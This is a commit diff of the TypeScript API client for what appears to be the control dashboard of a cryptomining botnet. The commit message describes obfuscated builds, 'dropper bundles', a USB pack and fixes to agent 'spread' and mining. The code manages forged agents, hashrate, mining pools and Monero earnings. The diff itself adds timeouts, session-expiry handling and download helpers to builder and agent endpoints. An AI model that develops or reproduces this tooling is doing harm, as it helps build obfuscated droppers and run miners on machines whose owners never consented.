fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
@@ -1,11 +1,72 @@
|
||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
|
||||
import { authHeaders } from './auth';
|
||||
import { authHeaders, clearStoredAuth } from './auth';
|
||||
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
||||
|
||||
const API_BASE = '/api/v1';
|
||||
|
||||
/** Forge compiles (garble / universal / fusion) can run 10–30+ minutes. */
|
||||
export const FORGE_BUILD_TIMEOUT_MS = 45 * 60 * 1000;
|
||||
|
||||
/** Fusion size estimate uploads prep.exe — allow longer than default REST. */
|
||||
const FUSION_ESTIMATE_TIMEOUT_MS = 2 * 60 * 1000;
|
||||
|
||||
/** Agent log refresh=1 may block until new lines arrive. */
|
||||
const AGENT_LOG_REFRESH_TIMEOUT_MS = 90 * 1000;
|
||||
|
||||
// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
|
||||
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
|
||||
|
||||
function forgeTimeoutError(): Error {
|
||||
return new Error(
|
||||
'Forge timed out — max settings (garble, universal, fusion) can take 30+ minutes. ' +
|
||||
'Wait longer, disable obfuscation, or forge one target at a time.',
|
||||
);
|
||||
}
|
||||
|
||||
async function parseForgeBuildResponse(res: Response): Promise<BuildResponse> {
|
||||
const text = await res.text();
|
||||
if (!res.ok) {
|
||||
try {
|
||||
const body = JSON.parse(text) as BuildResponse;
|
||||
if (body.error) {
|
||||
throw new Error(body.error);
|
||||
}
|
||||
} catch (e) {
|
||||
if (e instanceof Error && !(e instanceof SyntaxError) && !e.message.startsWith('API error')) {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
throw new Error(text.trim() || `Build failed (${res.status})`);
|
||||
}
|
||||
return JSON.parse(text) as BuildResponse;
|
||||
}
|
||||
|
||||
async function postForgeBuild(url: string, init: RequestInit): Promise<BuildResponse> {
|
||||
const controller = new AbortController();
|
||||
const timer = setTimeout(() => controller.abort(), FORGE_BUILD_TIMEOUT_MS);
|
||||
try {
|
||||
const res = await fetch(`${API_BASE}${url}`, {
|
||||
...init,
|
||||
signal: controller.signal,
|
||||
headers: {
|
||||
...authHeaders(),
|
||||
...(init.headers as Record<string, string> | undefined),
|
||||
},
|
||||
});
|
||||
if (res.status === 401) {
|
||||
clearStoredAuth({ expired: true });
|
||||
}
|
||||
return await parseForgeBuildResponse(res);
|
||||
} catch (e) {
|
||||
if (e instanceof DOMException && e.name === 'AbortError') {
|
||||
throw forgeTimeoutError();
|
||||
}
|
||||
throw e;
|
||||
} finally {
|
||||
clearTimeout(timer);
|
||||
}
|
||||
}
|
||||
|
||||
async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> {
|
||||
const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal };
|
||||
const controller = new AbortController();
|
||||
@@ -24,10 +85,18 @@ async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 1000
|
||||
},
|
||||
});
|
||||
if (!res.ok) {
|
||||
if (res.status === 401) {
|
||||
clearStoredAuth({ expired: true });
|
||||
}
|
||||
const err = await res.text();
|
||||
throw new Error(`API error ${res.status}: ${err}`);
|
||||
}
|
||||
return res.json();
|
||||
} catch (e) {
|
||||
if (e instanceof DOMException && e.name === 'AbortError') {
|
||||
throw new Error(`Request timed out after ${Math.round(timeoutMs / 1000)}s`);
|
||||
}
|
||||
throw e;
|
||||
} finally {
|
||||
clearTimeout(timer);
|
||||
}
|
||||
@@ -65,20 +134,14 @@ export const api = {
|
||||
const form = new FormData();
|
||||
form.append('config', JSON.stringify(req));
|
||||
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||||
return fetch(`${API_BASE}/builder/build`, {
|
||||
return postForgeBuild('/builder/build', {
|
||||
method: 'POST',
|
||||
headers: authHeaders(),
|
||||
body: form,
|
||||
}).then(async (res) => {
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
throw new Error(`API error ${res.status}: ${err}`);
|
||||
}
|
||||
return res.json() as Promise<BuildResponse>;
|
||||
});
|
||||
}
|
||||
return fetchJSON<BuildResponse>('/builder/build', {
|
||||
return postForgeBuild('/builder/build', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(req),
|
||||
});
|
||||
},
|
||||
@@ -90,17 +153,31 @@ export const api = {
|
||||
const form = new FormData();
|
||||
form.append('config', JSON.stringify(req));
|
||||
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||||
const controller = new AbortController();
|
||||
const timer = setTimeout(() => controller.abort(), FUSION_ESTIMATE_TIMEOUT_MS);
|
||||
return fetch(`${API_BASE}/builder/estimate`, {
|
||||
method: 'POST',
|
||||
headers: authHeaders(),
|
||||
body: form,
|
||||
}).then(async (res) => {
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
throw new Error(`API error ${res.status}: ${err}`);
|
||||
}
|
||||
return res.json() as Promise<FusionEstimate>;
|
||||
});
|
||||
signal: controller.signal,
|
||||
})
|
||||
.then(async (res) => {
|
||||
if (res.status === 401) {
|
||||
clearStoredAuth({ expired: true });
|
||||
}
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
throw new Error(`API error ${res.status}: ${err}`);
|
||||
}
|
||||
return res.json() as Promise<FusionEstimate>;
|
||||
})
|
||||
.catch((e) => {
|
||||
if (e instanceof DOMException && e.name === 'AbortError') {
|
||||
throw new Error('Fusion estimate timed out — try a smaller prep file or retry.');
|
||||
}
|
||||
throw e;
|
||||
})
|
||||
.finally(() => clearTimeout(timer));
|
||||
},
|
||||
|
||||
pinBuild: (buildId: string) =>
|
||||
@@ -159,12 +236,17 @@ export const api = {
|
||||
body: JSON.stringify(mac ? { mac } : {}),
|
||||
}),
|
||||
getAgentLog: (id: string, refresh = false) =>
|
||||
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
||||
fetchJSON<{ agent_id: string; content: string }>(
|
||||
`/agents/${id}/log${refresh ? '?refresh=1' : ''}`,
|
||||
undefined,
|
||||
refresh ? AGENT_LOG_REFRESH_TIMEOUT_MS : 10000,
|
||||
),
|
||||
|
||||
downloadAgentLog: async (id: string): Promise<void> => {
|
||||
const res = await fetch(`${API_BASE}/agents/${id}/log?download=1`, {
|
||||
headers: { ...authHeaders() },
|
||||
});
|
||||
const res = await fetchAuthedWithTimeout(
|
||||
`${API_BASE}/agents/${id}/log?download=1`,
|
||||
DOWNLOAD_TIMEOUT_MS,
|
||||
);
|
||||
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
|
||||
const blob = await res.blob();
|
||||
const url = URL.createObjectURL(blob);
|
||||
@@ -236,9 +318,8 @@ export const api = {
|
||||
|
||||
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
|
||||
downloadBackup: async (): Promise<void> => {
|
||||
const res = await fetch(`${API_BASE}/backup`, {
|
||||
const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {
|
||||
method: 'GET',
|
||||
headers: { ...authHeaders() },
|
||||
});
|
||||
if (!res.ok) {
|
||||
const err = await res.text();
|
||||
|
||||
Reference in New Issue
Block a user